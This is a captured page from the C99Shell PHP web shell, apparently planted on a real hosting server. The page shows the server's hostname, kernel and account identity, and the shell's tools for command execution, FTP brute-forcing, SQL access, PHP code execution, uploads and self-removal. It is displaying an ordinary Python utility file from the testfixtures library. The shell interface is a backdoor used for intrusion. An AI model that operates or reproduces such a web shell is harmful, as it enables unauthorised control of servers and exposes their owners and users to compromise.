!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/testfixtures/   drwxr-xr-x
Free 294.23 GB of 429.69 GB (68.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     resolve.py (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from operator import setitem
from typing import Any, Callable, Optional

from testfixtures import not_there


# Should be Literal[setattr, getattr] but Python 3.8 only.
Setter = Callable[[Any, str, Any], None]


class Resolved:

    def __init__(self, container: Any, setter: Setter, name: str, found: Any):
        self.container: Any = container
        self.setter: Setter = setter
        self.name: str = name
        self.found: Any = found

    def __repr__(self):
        return f'<Resolved: {self.found}>'


def resolve(dotted_name: str, container: Optional[Any] = None) -> Resolved:
    names = dotted_name.split('.')
    used = names.pop(0)
    if container is None:
        found = __import__(used)
        container = found
    else:
        assert not used, 'Absolute traversal not allowed when container supplied'
        used = ''
        found = container
    setter = None
    name = None
    for name in names:
        container = found
        used += '.' + name
        try:
            found = getattr(found, name)
            setter = setattr
        except AttributeError:
            try:
                __import__(used)
            except ImportError:
                setter = setitem
                try:
                    found = found[name]  # pragma: no branch
                except KeyError:
                    found = not_there  # pragma: no branch
                except TypeError:
                    try:
                        name = int(name)
                    except ValueError:
                        setter = setattr
                        found = not_there
                    else:
                        found = found[name]  # pragma: no branch
            else:
                found = getattr(found, name)
                setter = getattr
    return Resolved(container, setter, name, found)


class _Reference:

    @classmethod
    def classmethod(cls):  # pragma: no cover
        pass

    @staticmethod
    def staticmethod(cls):  # pragma: no cover
        pass


class_type = type(_Reference)
classmethod_type = type(_Reference.classmethod)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0037 ]--